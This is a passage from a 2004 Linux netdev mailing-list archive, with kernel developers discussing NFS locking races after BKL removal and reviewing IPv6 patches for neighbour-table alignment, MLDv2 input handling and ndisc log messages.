i1A1s12O010621 for ; Mon, 9 Feb 2004 17:54:03 -0800 Received: from melbourne.sgi.com (speed.melbourne.sgi.com [134.14.55.174]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id MAA18017; Tue, 10 Feb 2004 12:52:18 +1100 Message-ID: <40283952.6093F19D@melbourne.sgi.com> Date: Tue, 10 Feb 2004 12:52:18 +1100 From: Greg Banks Organization: SGI Australian Software Group X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18-6mdk i686) X-Accept-Language: en MIME-Version: 1.0 To: Olaf Kirch CC: Christoph Hellwig , netdev@oss.sgi.com, nfs@lists.sourceforge.net Subject: Re: [NFS] [PATCH][RFC] use completions instead of sleep_on for rpciod References: <20040207144405.GA19416@lst.de> <20040209102801.GC21364@suse.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3179 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gnb@melbourne.sgi.com Precedence: bulk X-list: netdev Olaf Kirch wrote: > > [...] The code in fs/nfs/unlink.c is probably also racy > without BKL. I had cause to poke around there recently, and it's *definitely* racy without BKL. That file would benefit from several modernisations: 1. move the list of nfs_unlinkdata from a global to a field in nfs_server 2. add a lock in nfs_server for it instead of implicit BKL in nfs_complete_unlink, nfs_async_unlink, nfs_put_unlinkdata 3. use proper list.h lists > So if you remove the sunrpc BKL be prepared for lots and lots > of bug reports :) Yes but it's worth doing, especially serverside. Greg. -- Greg Banks, R&D Software Engineer, SGI Australian Software Group. I don't speak for SGI. From yoshfuji@linux-ipv6.org Mon Feb 9 20:04:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 20:04:58 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1A44lKO007527 for ; Mon, 9 Feb 2004 20:04:48 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id CA54333CC2; Tue, 10 Feb 2004 13:05:43 +0900 (JST) Date: Tue, 10 Feb 2004 13:05:43 +0900 (JST) Message-Id: <20040210.130543.130923643.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com Subject: Re: [PATCH,RFC] [NET] ALIGN From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040209112007.08023ba6.davem@redhat.com> References: <20040209.134528.28683257.yoshfuji@linux-ipv6.org> <20040209112007.08023ba6.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3180 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20040209112007.08023ba6.davem@redhat.com> (at Mon, 9 Feb 2004 11:20:07 -0800), "David S. Miller" says: > > BTW, > > 1. do we really need this ALIGN? > > 2. should 16 be BYTES_PER_WORD (in mm/slab.c)? : > I think this is complete nonsense, and that the alignment is not > necessary. I can't even come up with a performance reason as SLAB > is going to align things to hw cache line size anyways. Agreed. > Else let's just remove this bogus 16 byte alignment in the > kmem_cache_create() call. Let's kill it. It is very likely safe. ===== net/core/neighbour.c 1.24 vs edited ===== --- 1.24/net/core/neighbour.c Tue Jan 20 14:31:23 2004 +++ edited/net/core/neighbour.c Tue Feb 10 13:01:15 2004 @@ -1164,8 +1164,7 @@ if (!tbl->kmem_cachep) tbl->kmem_cachep = kmem_cache_create(tbl->id, - (tbl->entry_size + - 15) & ~15, + tbl->entry_size, 0, SLAB_HWCACHE_ALIGN, NULL, NULL); tbl->lock = RW_LOCK_UNLOCKED; -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Mon Feb 9 20:19:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 20:20:06 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1A4JnKO011452 for ; Mon, 9 Feb 2004 20:19:49 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 6C79333CA5; Tue, 10 Feb 2004 12:51:24 +0900 (JST) Date: Tue, 10 Feb 2004 12:51:24 +0900 (JST) Message-Id: <20040210.125124.97248371.yoshfuji@linux-ipv6.org> To: dlstevens@us.ibm.com Cc: davem@redhat.com, hibi665@oki.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: Source Specific Query of MLDv2 [PATCH] From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040207.154603.51160771.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3181 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article (at Mon, 9 Feb 2004 16:20:52 -0700), David Stevens says: > Here's a revised version with all the comments incorporated. > @@ -211,50 +219,21 @@ > > int ip6_mc_input(struct sk_buff *skb) > { > - struct ipv6hdr *hdr; > - int deliver = 0; > - int discard = 1; > + struct ipv6hdr *hdr; > + int deliver; > > IP6_INC_STATS_BH(Ip6InMcastPkts); > > hdr = skb->nh.ipv6h; > - if (ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr)) > - deliver = 1; > - > - /* > - * IPv6 multicast router mode isnt currently supported. > - */ > -#if 0 > - if (ipv6_config.multicast_route) { > - int addr_type; > - > - addr_type = ipv6_addr_type(&hdr->daddr); > - > - if (!(addr_type & (IPV6_ADDR_LOOPBACK | IPV6_ADDR_LINKLOCAL))) { > - struct sk_buff *skb2; > - struct dst_entry *dst; > - > - dst = skb->dst; > - > - if (deliver) { > - skb2 = skb_clone(skb, GFP_ATOMIC); > - } else { > - discard = 0; > - skb2 = skb; > - } > - > - dst_output(skb2); > - } > - } > -#endif > + deliver = !(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI)) || > + ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, NULL); > > - if (deliver) { > - discard = 0; > + if (likely(deliver)) { > ip6_input(skb); > + return 0; > } > - > - if (discard) > - kfree_skb(skb); > + /* discard */ > + kfree_skb(skb); > > return 0; likely(!(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI)))? Where is pskb_pull()? I'd suggest to check the protocol number != icmp there. After doing pskb_pull() in icmpv6_rcv(), we see type field. BTW, I want to keep #if 0 ... #endif portion. We're working on this... :-) -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Mon Feb 9 23:45:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 23:46:09 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1A7jsKO018729 for ; Mon, 9 Feb 2004 23:45:54 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id C6D6033CA5; Tue, 10 Feb 2004 16:46:50 +0900 (JST) Date: Tue, 10 Feb 2004 16:46:50 +0900 (JST) Message-Id: <20040210.164650.109511390.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: [PATCH] IPV6: clean-up ndisc printk's From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3182 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev D: print KERN_xxx appropriately. D: put net_ratelimit() inside the macro. D: re-arrange levels. ===== net/ipv6/ndisc.c 1.71 vs edited ===== --- 1.71/net/ipv6/ndisc.c Tue Feb 10 04:13:09 2004 +++ edited/net/ipv6/ndisc.c Tue Feb 10 16:40:49 2004 @@ -28,11 +28,12 @@ /* Set to 3 to get tracing... */ #define ND_DEBUG 1 -#define ND_PRINTK(x...) printk(KERN_DEBUG x) +#define ND_PRINTK(x...) do { if (net_ratelimit()) { printk(##x); } } while(0) #define ND_NOPRINTK(x...) do { ; } while(0) #define ND_PRINTK0 ND_PRINTK #define ND_PRINTK1 ND_NOPRINTK #define ND_PRINTK2 ND_NOPRINTK +#define ND_PRINTK3 ND_NOPRINTK #if ND_DEBUG >= 1 #undef ND_PRINTK1 #define ND_PRINTK1 ND_PRINTK @@ -41,6 +42,10 @@ #undef ND_PRINTK2 #define ND_PRINTK2 ND_PRINTK #endif +#if ND_DEBUG >= 3 +#undef ND_PRINTK3 +#define ND_PRINTK3 ND_PRINTK +#endif #include #include @@ -210,8 +215,10 @@ case ND_OPT_MTU: case ND_OPT_REDIRECT_HDR: if (ndopts->nd_opt_array[nd_opt->nd_opt_type]) { - ND_PRINTK2("ndisc_parse_options(): duplicated ND6 option found: type=%d\n", - nd_opt->nd_opt_type); + ND_PRINTK2(KERN_WARNING + "%s(): duplicated ND6 option found: type=%d\n", + __FUNCTION__, + nd_opt->nd_opt_type); } else { ndopts->nd_opt_array[nd_opt->nd_opt_type] = nd_opt; } @@ -226,8 +233,9 @@ * Unknown options must be silently ignored, * to accommodate future extension to the protocol. */ - ND_PRINTK2(KERN_WARNING - "ndisc_parse_options(): ignored unsupported option; type=%d, len=%d\n", + ND_PRINTK2(KERN_NOTICE + "%s(): ignored unsupported option; type=%d, len=%d\n", + __FUNCTION__, nd_opt->nd_opt_type, nd_opt->nd_opt_len); } opt_len -= l; @@ -463,7 +471,9 @@ 1, &err); if (skb == NULL) { - ND_PRINTK1("send_na: alloc skb failed\n"); + ND_PRINTK0(KERN_ERR + "ICMPv6 NA: %s() failed to allocate an skb.\n", + __FUNCTION__); dst_release(dst); return; } @@ -548,7 +558,9 @@ skb = sock_alloc_send_skb(sk, MAX_HEADER + len + LL_RESERVED_SPACE(dev), 1, &err); if (skb == NULL) { - ND_PRINTK1("send_ns: alloc skb failed\n"); + ND_PRINTK0(KERN_ERR + "ICMPv6 NA: %s() failed to allocate an skb.\n", + __FUNCTION__); dst_release(dst); return; } @@ -620,7 +632,9 @@ skb = sock_alloc_send_skb(sk, MAX_HEADER + len + LL_RESERVED_SPACE(dev), 1, &err); if (skb == NULL) { - ND_PRINTK1("send_ns: alloc skb failed\n"); + ND_PRINTK0(KERN_ERR + "ICMPv6 RS: %s() failed to allocate an skb.\n", + __FUNCTION__); dst_release(dst); return; } @@ -683,8 +697,13 @@ saddr = &skb->nh.ipv6h->saddr; if ((probes -= neigh->parms->ucast_probes) < 0) { - if (!(neigh->nud_state&NUD_VALID)) - ND_PRINTK1("trying to ucast probe in NUD_INVALID\n"); + if (!(neigh->nud_state & NUD_VALID)) { + ND_PRINTK1(KERN_DEBUG + "%s(): trying to ucast probe in NUD_INVALID: " + "%04x:%04x:%04x:%04x:%04x:%04x:%04x:%04x\n", + __FUNCTION__, + NIP6(*target)); + } ndisc_send_ns(dev, neigh, target, target, saddr); } else if ((probes -= neigh->parms->app_probes) < 0) { #ifdef CONFIG_ARPD @@ -713,8 +732,8 @@ int inc; if (ipv6_addr_is_multicast(&msg->target)) { - if (net_ratelimit()) - printk(KERN_WARNING "ICMP NS: target address is multicast\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 NS: multicast target address"); return; } @@ -727,14 +746,14 @@ daddr->s6_addr32[1] == htonl(0x00000000) && daddr->s6_addr32[2] == htonl(0x00000001) && daddr->s6_addr [12] == 0xff )) { - if (net_ratelimit()) - printk(KERN_DEBUG "ICMP6 NS: bad DAD packet (wrong destination)\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 NS: bad DAD packet (wrong destination)\n"); return; } if (!ndisc_parse_options(msg->opt, ndoptlen, &ndopts)) { - if (net_ratelimit()) - printk(KERN_WARNING "ICMP NS: invalid ND option, ignored.\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 NS: invalid ND options\n"); return; } @@ -742,8 +761,8 @@ lladdr = (u8*)(ndopts.nd_opts_src_lladdr + 1); lladdrlen = ndopts.nd_opts_src_lladdr->nd_opt_len << 3; if (lladdrlen != NDISC_OPT_SPACE(dev->addr_len)) { - if (net_ratelimit()) - printk(KERN_WARNING "ICMP NS: bad lladdr length.\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 NS: invalid link-layer address length\n"); return; } @@ -753,8 +772,8 @@ * in the message. */ if (dad) { - if (net_ratelimit()) - printk(KERN_WARNING "ICMP6 NS: bad DAD packet (link-layer address option)\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 NS: bad DAD packet (link-layer address option)\n"); return; } } @@ -868,34 +887,35 @@ struct neighbour *neigh; if (skb->len < sizeof(struct nd_msg)) { - if (net_ratelimit()) - printk(KERN_WARNING "ICMP NA: packet too short\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 NA: packet too short\n"); return; } if (ipv6_addr_is_multicast(&msg->target)) { - if (net_ratelimit()) - printk(KERN_WARNING "NDISC NA: target address is multicast\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 NA: target address is multicast.\n"); return; } if (ipv6_addr_is_multicast(daddr) && msg->icmph.icmp6_solicited) { - ND_PRINTK0("NDISC: solicited NA is multicasted\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 NA: solicited NA is multicasted.\n"); return; } if (!ndisc_parse_options(msg->opt, ndoptlen, &ndopts)) { - if (net_ratelimit()) - printk(KERN_WARNING "ICMP NS: invalid ND option, ignored.\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 NS: invalid ND option\n"); return; } if (ndopts.nd_opts_tgt_lladdr) { lladdr = (u8*)(ndopts.nd_opts_tgt_lladdr + 1); lladdrlen = ndopts.nd_opts_tgt_lladdr->nd_opt_len << 3; if (lladdrlen != NDISC_OPT_SPACE(dev->addr_len)) { - if (net_ratelimit()) - printk(KERN_WARNING "NDISC NA: invalid lladdr length.\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 NA: invalid link-layer address length\n"); return; } } @@ -909,7 +929,8 @@ about it. It could be misconfiguration, or an smart proxy agent tries to help us :-) */ - ND_PRINTK0("%s: someone advertises our address!\n", + ND_PRINTK1(KERN_WARNING + "ICMPv6 NA: someone advertises our address on %s!\n", ifp->idev->dev->name); in6_ifa_put(ifp); return; @@ -954,13 +975,13 @@ optlen = (skb->tail - skb->h.raw) - sizeof(struct ra_msg); if (!(ipv6_addr_type(&skb->nh.ipv6h->saddr) & IPV6_ADDR_LINKLOCAL)) { - if (net_ratelimit()) - printk(KERN_WARNING "ICMP RA: source address is not linklocal\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 RA: source address is not link-local.\n"); return; } if (optlen < 0) { - if (net_ratelimit()) - printk(KERN_WARNING "ICMP RA: packet too short\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 RA: packet too short\n"); return; } @@ -970,7 +991,9 @@ in6_dev = in6_dev_get(skb->dev); if (in6_dev == NULL) { - ND_PRINTK1("RA: can't find in6 device\n"); + ND_PRINTK0(KERN_ERR + "ICMPv6 RA: can't find inet6 device for %s.\n", + skb->dev->name); return; } if (in6_dev->cnf.forwarding || !in6_dev->cnf.accept_ra) { @@ -980,9 +1003,8 @@ if (!ndisc_parse_options(opt, optlen, &ndopts)) { in6_dev_put(in6_dev); - if (net_ratelimit()) - ND_PRINTK2(KERN_WARNING - "ICMP6 RA: invalid ND option, ignored.\n"); + ND_PRINTK2(KERN_WARNING + "ICMP6 RA: invalid ND options\n"); return; } @@ -1015,18 +1037,23 @@ } if (rt == NULL && lifetime) { - ND_PRINTK2("ndisc_rdisc: adding default router\n"); + ND_PRINTK3(KERN_DEBUG + "ICMPv6 RA: adding default router.\n"); rt = rt6_add_dflt_router(&skb->nh.ipv6h->saddr, skb->dev); if (rt == NULL) { - ND_PRINTK1("route_add failed\n"); + ND_PRINTK0(KERN_ERR + "ICMPv6 RA: %s() failed to add default route.\n", + __FUNCTION__); in6_dev_put(in6_dev); return; } neigh = rt->rt6i_nexthop; if (neigh == NULL) { - ND_PRINTK1("nd: add default router: null neighbour\n"); + ND_PRINTK0(KERN_ERR + "ICMPv6 RA: %s() got default router without neighbour.\n", + __FUNCTION__); dst_release(&rt->u.dst); in6_dev_put(in6_dev); return; @@ -1091,9 +1118,8 @@ lladdr = (u8*)((ndopts.nd_opts_src_lladdr)+1); lladdrlen = ndopts.nd_opts_src_lladdr->nd_opt_len << 3; if (lladdrlen != NDISC_OPT_SPACE(skb->dev->addr_len)) { - if (net_ratelimit()) - ND_PRINTK2(KERN_WARNING - "ICMP6 RA: Invalid lladdr length.\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 RA: invalid link-layer address length\n"); goto out; } } @@ -1116,10 +1142,9 @@ mtu = ntohl(mtu); if (mtu < IPV6_MIN_MTU || mtu > skb->dev->mtu) { - if (net_ratelimit()) { - ND_PRINTK0("NDISC: router announcement with mtu = %d\n", - mtu); - } + ND_PRINTK2(KERN_WARNING + "ICMPv6 RA: invalid mtu: %d\n", + mtu); } else if (in6_dev->cnf.mtu6 != mtu) { in6_dev->cnf.mtu6 = mtu; @@ -1131,9 +1156,8 @@ } if (ndopts.nd_opts_tgt_lladdr || ndopts.nd_opts_rh) { - if (net_ratelimit()) - ND_PRINTK0(KERN_WARNING - "ICMP6 RA: got invalid option with RA"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 RA: invalid RA options"); } out: if (rt) @@ -1155,8 +1179,8 @@ int lladdrlen; if (!(ipv6_addr_type(&skb->nh.ipv6h->saddr) & IPV6_ADDR_LINKLOCAL)) { - if (net_ratelimit()) - printk(KERN_WARNING "ICMP redirect: source address is not linklocal\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 Redirect: source address is not link-local.\n"); return; } @@ -1164,8 +1188,8 @@ optlen -= sizeof(struct icmp6hdr) + 2 * sizeof(struct in6_addr); if (optlen < 0) { - if (net_ratelimit()) - printk(KERN_WARNING "ICMP redirect: packet too small\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 Redirect: packet too short\n"); return; } @@ -1174,16 +1198,16 @@ dest = target + 1; if (ipv6_addr_is_multicast(dest)) { - if (net_ratelimit()) - printk(KERN_WARNING "ICMP redirect for multicast addr\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 Redirect: destination address is multicast.\n"); return; } if (ipv6_addr_cmp(dest, target) == 0) { on_link = 1; } else if (!(ipv6_addr_type(target) & IPV6_ADDR_LINKLOCAL)) { - if (net_ratelimit()) - printk(KERN_WARNING "ICMP redirect: target address is not linklocal\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 Redirect: target address is not link-local.\n"); return; } @@ -1201,9 +1225,8 @@ */ if (!ndisc_parse_options((u8*)(dest + 1), optlen, &ndopts)) { - if (net_ratelimit()) - ND_PRINTK2(KERN_WARNING - "ICMP6 Redirect: invalid ND options, rejected.\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 Redirect: invalid ND options\n"); in6_dev_put(in6_dev); return; } @@ -1211,9 +1234,8 @@ lladdr = (u8*)(ndopts.nd_opts_tgt_lladdr + 1); lladdrlen = ndopts.nd_opts_tgt_lladdr->nd_opt_len << 3; if (lladdrlen != NDISC_OPT_SPACE(skb->dev->addr_len)) { - if (net_ratelimit()) - ND_PRINTK2(KERN_WARNING - "ICMP6 Redirect: invalid lladdr length.\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 Redirect: invalid link-layer address length\n"); in6_dev_put(in6_dev); return; } @@ -1258,7 +1280,9 @@ dev = skb->dev; if (ipv6_get_lladdr(dev, &saddr_buf)) { - ND_PRINTK1("redirect: no link_local addr for dev\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 Redirect: no link-local address on %s\n", + dev->name); return; } @@ -1278,7 +1302,8 @@ rt = (struct rt6_info *) dst; if (rt->rt6i_flags & RTF_GATEWAY) { - ND_PRINTK1("ndisc_send_redirect: not a neighbour\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 Redirect: destination is not a neighbour.\n"); dst_release(dst); return; } @@ -1308,7 +1333,9 @@ buff = sock_alloc_send_skb(sk, MAX_HEADER + len + LL_RESERVED_SPACE(dev), 1, &err); if (buff == NULL) { - ND_PRINTK1("ndisc_send_redirect: alloc_skb failed\n"); + ND_PRINTK0(KERN_ERR + "ICMPv6 Redirect: %s() failed to allocate an skb.\n", + __FUNCTION__); dst_release(dst); return; } @@ -1388,16 +1415,16 @@ __skb_push(skb, skb->data-skb->h.raw); if (skb->nh.ipv6h->hop_limit != 255) { - if (net_ratelimit()) - printk(KERN_WARNING - "ICMP NDISC: fake message with non-255 Hop Limit received: %d\n", - skb->nh.ipv6h->hop_limit); + ND_PRINTK2(KERN_WARNING + "ICMPv6 NDISC: invalid hop-limit: %d\n", + skb->nh.ipv6h->hop_limit); return 0; } if (msg->icmph.icmp6_code != 0) { - if (net_ratelimit()) - printk(KERN_WARNING "ICMP NDISC: code is not zero\n"); + ND_PRINTK2(KERN_WARNING + "ICMPv6 NDISC: invalid ICMPv6 code: %d\n", + msg->icmph.icmp6_code); return 0; } @@ -1465,9 +1492,9 @@ err = sock_create(PF_INET6, SOCK_RAW, IPPROTO_ICMPV6, &ndisc_socket); if (err < 0) { - printk(KERN_ERR - "Failed to initialize the NDISC control socket (err %d).\n", - err); + ND_PRINTK0(KERN_ERR + "ICMPv6 NDISC: Failed to initialize the control socket (err %d).\n", + err); ndisc_socket = NULL; /* For safety. */ return err; } -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From NmailServer@sena.co.kr Tue Feb 10 00:17:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 00:17:34 -0800 (PST) Received: from sena.co.kr ([218.152.164.33]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1A8HCKO019891 for ; Tue, 10 Feb 2004 00:17:13 -0800 Message-Id: <200402100817.i1A8HCKO019891@oss.sgi.com> Date: Tue, 10 Feb 2004 17:18:01 +0900 From: "sena.co.kr PostMaster" To: netdev@oss.sgi.com Subject: !Nmail Send error Invalid server address X-MailerServer: Nmail V3.3 20021108(S) X-archive-position: 3183 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: NmailServer@sena.co.kr Precedence: bulk X-list: netdev Error Message : Invalid server address -- You SendMail -- >> Received: from oss.sgi.com (218.152.122.62) >> by sena.co.kr (218.152.164.33) with [Nmail V3.3 20021108(S)] >> for from ; >> Tue, 10 Feb 2004 17:17:53 +0900 >> From: netdev@oss.sgi.com >> To: oz@nexus.yorku.ca >> Subject: test >> Date: Tue, 10 Feb 2004 17:16:58 +0900 >> MIME-Version: 1.0 >> Content-Type: multipart/mixed; >> boundary="----=_NextPart_000_0008_1E5D2B03.0DCDD954" >> X-Priority: 3 >> X-MSMail-Priority: Normal From okir@suse.de Tue Feb 10 01:15:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 01:17:05 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1A9FjKO024986 for ; Tue, 10 Feb 2004 01:15:46 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 0A0CD193FDF; Tue, 10 Feb 2004 10:15:21 +0100 (CET) Received: by wotan.suse.de (Postfix, from userid 10572) id BF6DD196CB; Tue, 10 Feb 2004 10:15:20 +0100 (CET) Date: Tue, 10 Feb 2004 10:15:20 +0100 From: Olaf Kirch To: trond.myklebust@fys.uio.no Cc: Christoph Hellwig , netdev@oss.sgi.com, nfs@lists.sourceforge.net Subject: Re: [NFS] [PATCH][RFC] use completions instead of sleep_on forrpciod Message-ID: <20040210091520.GD20932@suse.de> References: <20040207144405.GA19416@lst.de> <20040209102801.GC21364@suse.de> <35059.80.213.3.64.1076359739.squirrel@webmail.uio.no> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline In-Reply-To: <35059.80.213.3.64.1076359739.squirrel@webmail.uio.no> User-Agent: Mutt/1.4i X-archive-position: 3184 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: okir@suse.de Precedence: bulk X-list: netdev On Mon, Feb 09, 2004 at 09:48:59PM +0100, Trond Myklebust wrote: > > So if you remove the sunrpc BKL be prepared for lots and lots > > of bug reports :) > > Ahem.... > > xprt_alloc_xid is quite safe. It's always called under xprt->xprt_lock. It wasn't in 2.4.19 or whenever I ran into this. And a per-transport lock isn't enough to protect a global variable shared by all transports. Trust me: I spent several weeks debugging this particular problem :) (See the PS for a somewhat lengthy description of what I remember) I think that BKL removal at this point is probably not a good idea. Suse had a BKL removal patch in their SLES8 kernel, and I spent a total of 4-5 weeks hunting down all sorts of bugs related to SMP races. And I don't think we've seen all of these bugs yet. It might be better to postpone this for the 2.7 branch. > The code in unlink.c is only called from dentry_iput() or from > sillyrename(). In either case, there is no possibility for SMP races. Are you sure? nfs_dentry_iput explicitly does a lock_kernel before calling nfs_complete_unlink. I think that's because dentry_iput explicitly drops the dcache_lock before calling dentry->d_op->d_iput. I wouldn't remove that BKL :) And even if you leave that BKL and just remove the one in rpciod, you may still have a race between rpciod and dput. One CPU may be adding entries inside nfs_async_unlink (called from dentry_iput()), and at the same time rpciod can run on another CPU, calling nfs_async_unlink_release, removing stuff from the nfs_deletes list. The reference counting on nfs_unlinkdata isn't atomic either. Olaf PS: Let me try to put the pieces back together... this was on a PPC SMP system (so it can take a while for modified values to be be visible on other CPUs). There were several mounts being stressed in parallel. xprt_request_init did a simple "req->rq_xid = xid++;" without any additional spin locks protecting the xid variable (we have that spin lock now). The bug required at least 3 CPUs, and 3 different mounts. CPU0 CPU1 CPU2 -------------------------------------------------------- | lock xprt1 lock xprt2 | lock xprt3 | read xid=0 | read xid=0 | write xid=1 read xid=1 time++ write xid=2 write xid=1 | unlock xprt3 | lock xprt3 | read xid=1 | write xid=2 v unlock xprt3 Note that on PPC, modified data can take a long time to become visible on other CPUs. Cache sync is only guaranteed by operations such as spin_unlock etc. Olaf -- Olaf Kirch | Stop wasting entropy - start using predictable okir@suse.de | tempfile names today! ---------------+ From ja@ssi.bg Tue Feb 10 01:42:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 01:43:03 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1A9ghKO026063 for ; Tue, 10 Feb 2004 01:42:47 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i1A9iN6N005372; Tue, 10 Feb 2004 11:44:25 